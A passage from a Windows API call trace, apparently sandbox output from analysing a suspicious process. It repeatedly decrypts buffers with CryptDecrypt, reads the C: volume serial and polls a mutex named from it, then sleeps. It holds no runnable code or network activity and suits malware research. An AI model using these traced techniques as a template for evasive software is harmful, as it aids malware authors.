lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0058.670] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0b8 | out: hHeap=0xb00000) returned 1 [0058.670] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb05f00 [0058.670] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x7406a0) returned 1 [0058.670] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0058.670] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0x209f6b8 | out: pbData=0xb05f00, pdwDataLen=0x209f6b8) returned 1 [0058.670] CryptDestroyKey (hKey=0x7406a0) returned 1 [0058.670] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0x3070f0 [0058.670] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x148 [0058.670] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x0) returned 0x102 [0058.670] CloseHandle (hObject=0x148) returned 1 [0058.670] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0058.670] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0058.670] Sleep (dwMilliseconds=0x3e8) [0060.307] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb0d0b8 [0060.307] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x7406a0) returned 1 [0060.307] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0060.307] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0d0b8, pdwDataLen=0x209f684 | out: pbData=0xb0d0b8, pdwDataLen=0x209f684) returned 1 [0060.307] CryptDestroyKey (hKey=0x7406a0) returned 1 [0060.307] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb0d090 [0060.307] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb0d0e0 [0060.308] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0060.308] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x7406a0) returned 1 [0060.308] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0060.308] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0060.308] CryptDestroyKey (hKey=0x7406a0) returned 1 [0060.308] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0060.308] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0d090, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0060.308] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0e0 | out: hHeap=0xb00000) returned 1 [0060.308] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0b8 | out: hHeap=0xb00000) returned 1 [0060.308] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0060.308] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d090 | out: hHeap=0xb00000) returned 1 [0060.308] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb05f00 [0060.308] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x7406a0) returned 1 [0060.308] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0060.308] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0x209f6b8 | out: pbData=0xb05f00, pdwDataLen=0x209f6b8) returned 1 [0060.308] CryptDestroyKey (hKey=0x7406a0) returned 1 [0060.308] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0x3070f0 [0060.308] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x148 [0060.308] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x0) returned 0x102 [0060.308] CloseHandle (hObject=0x148) returned 1 [0060.308] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0060.309] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0060.309] Sleep (dwMilliseconds=0x3e8) [0061.581] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb0d090 [0061.581] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x7406a0) returned 1 [0061.581] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0061.581] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0d090, pdwDataLen=0x209f684 | out: pbData=0xb0d090, pdwDataLen=0x209f684) returned 1 [0061.581] CryptDestroyKey (hKey=0x7406a0) returned 1 [0061.581] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb0d0b8 [0061.581] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb0d0e0 [0061.581] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0061.581] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x7406a0) returned 1 [0061.581] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0061.581] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0061.581] CryptDestroyKey (hKey=0x7406a0) returned 1 [0061.581] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0061.581] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0d0b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0061.581] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0e0 | out: hHeap=0xb00000) returned 1 [0061.581] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d090 | out: hHeap=0xb00000) returned 1 [0061.581] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0061.582] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0b8 | out: hHeap=0xb00000) returned 1 [0061.582] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb05f00 [0061.582] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x7406a0) returned 1 [0061.582] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0061.582] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0x209f6b8 | out: pbData=0xb05f00, pdwDataLen=0x209f6b8) returned 1 [0061.582] CryptDestroyKey (hKey=0x7406a0) returned 1 [0061.582] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0x3070f0 [0061.582] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x148 [0061.582] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x0) returned 0x102 [0061.582] CloseHandle (hObject=0x148) returned 1 [0061.582] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0061.582] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0061.582] Sleep (dwMilliseconds=0x3e8) [0062.991] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb0d0b8 [0062.991] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x7406a0) returned 1 [0062.991] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0062.991] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0d0b8, pdwDataLen=0x209f684 | out: pbData=0xb0d0b8, pdwDataLen=0x209f684) returned 1 [0062.991] CryptDestroyKey (hKey=0x7406a0) returned 1 [0062.991] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb0d090 [0062.991] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb0d0e0 [0062.991] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0062.991] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x7406a0) returned 1 [0062.992] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0062.992] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0062.992] CryptDestroyKey (hKey=0x7406a0) returned 1 [0062.992] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0062.992] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0d090, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0062.992] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0e0 | out: hHeap=0xb00000) returned 1 [0062.992] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0b8 | out: hHeap=0xb00000) returned 1 [0062.992] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0062.992] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d090 | out: hHeap=0xb00000) returned 1 [0062.992] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb05f00 [0062.992] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x7406a0) returned 1 [0062.992] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0062.992] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0x209f6b8 | out: pbData=0xb05f00, pdwDataLen=0x209f6b8) returned 1 [0062.992] CryptDestroyKey (hKey=0x7406a0) returned 1 [0062.992] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0x3070f0 [0062.992] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x148 [0062.992] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x0) returned 0x102 [0062.992] CloseHandle (hObject=0x148) returned 1 [0062.992] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0062.992] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0062.992] Sleep (dwMilliseconds=0x3e8) [0064.122] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb0d090 [0064.122] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x7406a0) returned 1 [0064.127] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0064.127] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0d090, pdwDataLen=0x209f684 | out: pbData=0xb0d090, pdwDataLen=0x209f684) returned 1 [0064.127] CryptDestroyKey (hKey=0x7406a0) returned 1 [0064.127] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb0d0b8 [0064.127] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb0d0e0 [0064.127] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0064.127] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x7406a0) returned 1 [0064.127] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0064.127] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0064.127] CryptDestroyKey (hKey=0x7406a0) returned 1 [0064.127] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0064.128] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0d0b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0064.128] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0e0 | out: hHeap=0xb00000) returned 1 [0064.128] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d090 | out: hHeap=0xb00000) returned 1 [0064.128] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0064.139] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0b8 | out: hHeap=0xb00000) returned 1 [0064.139] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb05f00 [0064.139] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x7406a0) returned 1 [0064.139] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0064.139] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0x209f6b8 | out: pbData=0xb05f00, pdwDataLen=0x209f6b8) returned 1 [0064.139] CryptDestroyKey (hKey=0x7406a0) returned 1 [0064.139] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0x3070f0 [0064.139] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x148 [0064.139] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x0) returned 0x102 [0064.139] CloseHandle (hObject=0x148) returned 1 [0064.139] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0064.139] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0064.139] Sleep (dwMilliseconds=0x3e8) [0066.686] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb0d0b8 [0066.687] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x7406a0) returned 1 [0066.695] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0066.696] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0d0b8, pdwDataLen=0x209f684 | out: pbData=0xb0d0b8, pdwDataLen=0x209f684) returned 1 [0066.698] CryptDestroyKey (hKey=0x7406a0) returned 1 [0066.704] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb0d090 [0066.704] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb0d0e0 [0066.704] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0066.704] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x7406a0) returned 1 [0066.709] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0066.709] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0066.709] CryptDestroyKey (hKey=0x7406a0) returned 1 [0066.709] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0066.709] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0d090, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0066.709] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0e0 | out: hHeap=0xb00000) returned 1 [0066.709] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0b8 | out: hHeap=0xb00000) returned 1 [0066.709] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0066.709] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d090 | out: hHeap=0xb00000) returned 1 [0066.709] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb05f00 [0066.709] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x7406a0) returned 1 [0066.709] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0066.710] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0x209f6b8 | out: pbData=0xb05f00, pdwDataLen=0x209f6b8) returned 1 [0066.710] CryptDestroyKey (hKey=0x7406a0) returned 1 [0066.710] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0x3070f0 [0066.710] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x148 [0066.710] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x0) returned 0x102 [0066.710] CloseHandle (hObject=0x148) returned 1 [0066.710] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0066.710] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0066.710] Sleep (dwMilliseconds=0x3e8) [0066.869] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb0d090 [0066.869] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x7406a0) returned 1 [0066.869] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0066.869] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0d090, pdwDataLen=0x209f684 | out: pbData=0xb0d090, pdwDataLen=0x209f684) returned 1 [0066.869] CryptDestroyKey (hKey=0x7406a0) returned 1 [0066.869] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb0d0b8 [0066.869] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb0d0e0 [0066.869] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0066.869] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x7406a0) returned 1 [0066.869] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0066.869] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0066.869] CryptDestroyKey (hKey=0x7406a0) returned 1 [0066.869] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0066.869] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0d0b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0066.870] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0e0 | out: hHeap=0xb00000) returned 1 [0066.870] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d090 | out: hHeap=0xb00000) returned 1 [0066.870] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0066.870] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0b8 | out: hHeap=0xb00000) returned 1 [0066.871] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb05f00 [0066.871] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x7406a0) returned 1 [0066.871] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0066.871] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0x209f6b8 | out: pbData=0xb05f00, pdwDataLen=0x209f6b8) returned 1 [0066.871] CryptDestroyKey (hKey=0x7406a0) returned 1 [0066.871] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0x3070f0 [0066.871] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x148 [0066.871] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x0) returned 0x102 [0066.871] CloseHandle (hObject=0x148) returned 1 [0066.871] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0066.871] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0066.871] Sleep (dwMilliseconds=0x3e8) [0067.258] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb0d0b8 [0067.279] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x7406a0) returned 1 [0067.279] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0067.279] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0d0b8, pdwDataLen=0x209f684 | out: pbData=0xb0d0b8, pdwDataLen=0x209f684) returned 1 [0067.279] CryptDestroyKey (hKey=0x7406a0) returned 1 [0067.279] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb0d090 [0067.279] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb0d0e0 [0067.279] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0067.279] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x7406a0) returned 1 [0067.279] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0067.279] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0067.279] CryptDestroyKey (hKey=0x7406a0) returned 1 [0067.280] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0067.280] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0d090, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0067.280] HeapFree (in: 